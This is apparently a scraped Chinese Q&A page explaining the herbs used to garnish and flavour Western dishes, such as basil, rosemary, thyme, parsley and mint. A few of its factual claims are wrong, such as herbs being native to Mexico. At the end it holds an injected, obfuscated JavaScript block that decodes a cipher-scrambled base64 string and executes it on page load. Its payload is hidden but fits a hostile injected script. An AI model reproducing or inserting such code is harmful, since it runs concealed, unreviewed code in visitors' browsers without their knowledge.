西餐里的那些“杂草”都是什么?

2025-03-16 13:28:05
推荐回答(5个)
回答(1):

我们在吃西餐的时候,经常会看到一些别出心裁的摆盘,其实就是几根简单的“杂草”,却能瞬间把整盘菜的颜值拉了上去。当然,这并不是什么“杂草”,而是西餐烹饪中经常会用到的香草,正是因为它们的存在,才让很多西餐焕发出独特的色彩和风味。可以说,没有香草的西餐是不完整的,今天,就来带你认识一下,西餐中最常用到的一些香草。

提起香草,很多人可能觉得并没有什么了不起,这东西我们从小也吃啊,香草冰淇淋、香草奶油蛋糕什么的。不不不,这种香草其实是香子兰(香荚兰),而今天要说的西餐里的香草,是多种芳香植物的统称。如果细究起来,世界范围内可能多达数百种。

其实,西餐烹饪中所用到的调味料分成两大类:分别是香草和香料。由于饮食习惯的不同,比较少接触西餐的人确实很难弄清楚其中的分别。一般来讲,香草是植物带有香味的叶子,这些植物很少有木质的茎;而香料是指植物的树皮、果实、根和茎。香草在新鲜的时候更香,而香料在干粉状态下味道更强烈。

西餐里使用的部分香料,绝大多数中餐也会使用。香草和香料等调味料的使用,对于西餐的成败至关重要。人的味觉能品尝出的味道只有酸、甜、苦、咸、鲜五种,其它味道都是由这些味觉互相配合产生的,而人能分出的气味却成千上万。所以,善用香草和香料,就是依靠各自与众不同的香气,呈现出西餐的丰富风味。这就是为什么西餐会大量使用多种香草和香料来入菜的原因。

相比于香草,香料在中餐中也会大量使用,就算是陌生香料,也相对容易分辨。可是,当一堆“杂草”摆在面前的时候,很多人就“懵圈”了。

罗勒的品种很多,介绍的是意大利菜中使用最频繁、最具有代表性的甜罗勒(Sweet Basil)。罗勒气味清冽甘甜,略带咸鲜味,可以比较大量的使用。叶子很嫩,不耐热,遇热会变黑,常用于冷的酱汁或者沙拉,用在热菜上多是摆盘或装饰。罗勒切开后,切口极易氧化变黑,所以最好用手撕,减少用刀切。和中餐会用到的九层塔不一样,九层塔的叶脉纤维较强,经得起烧煮。

适合食材:番茄、洋葱、胡萝卜、青豆等自带酸味或甜味的蔬菜。适用菜式:意式青酱、三明治配菜、沙拉提味。青酱(Pesto)是意大利极常用的酱汁,成分不复杂,罗勒、橄榄油、大蒜、帕默森干酪和一两种坚果搅打均匀即可。青酱在意大利是百搭酱,可以涂抹面包、给其他酱汁提味、当沙拉酱或者拌意面。

回答(2):

我们的普通人较少接触西餐,但在关键时刻,保持现状并记住一些科普知识总是有好处的。西餐中有两种调味品,即香草和香料。是的,你看到的西餐上的“杂草”可以统称为——香草。

香草,正式称为芳香植物,世界上有3000多种,原产于墨西哥。一般来说,香草是植物芳香的叶子。这些植物没有木质茎,通常生长在温带。香草,“香草不仅是一种热情的味道,也是神秘和异国情调的香味。”迷迭香(Rosmarinus officinalis),迷迭香原产于地中海地区,它的名字如此优雅,令人难以抗拒。它在西餐中有很高的出现率,在甜食中有强烈的香味和苦味,所以在烹饪中使用的量不应该太大。迷迭香通常用于西餐,如牛排和土豆,也用于烘焙食品。它的特殊味道几乎和大多数肉一样。

百里香,又称百里香,在法国、意大利、希腊、中东等地广泛用于烹饪。味道微苦,香气持久,气味温和。百里香通常用于炖菜、腌肉和腌鱼。迷迭香是西餐桌上常见的装饰品。欧芹原产于意大利附近的大陆和台湾,其味道比中国芹菜稍重,但在草本植物中仍然鲜嫩。由于其特殊的香味,它经常被用来掩盖其他食物中过多的异味,使其变得芳香。欧芹经常用于冷盘,也非常适合搭配各种配料,如意大利面、沙拉、汤、鱼、土豆和烤鸡。

与其香他草相比,薄荷对许多人来说是熟悉的,而且味道很凉。它广泛用于饮料、甜点和蛋糕。薄荷有很强的味道,可以用来去除鱼和羊肉的腥味,也可以和水果和甜点一起食用。通常用于冷盘,叶子直接放在沙拉和甜点上作为装饰。牛至,也被称为比萨草,尝起来有点苦和辣。烹饪时,它通常用来增加味道和去除肉的味道。这些是我们在西餐厅经常看到的几种“杂草”。

回答(3):

西餐里面那些杂草其实是可以吃的,还有用来装饰的。

回答(4):

一般都是香料我觉得,毕竟是为了装饰好看才放的无污染。

回答(5):

大部分都只是装饰吧,但是也有一部分是可以吃的。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();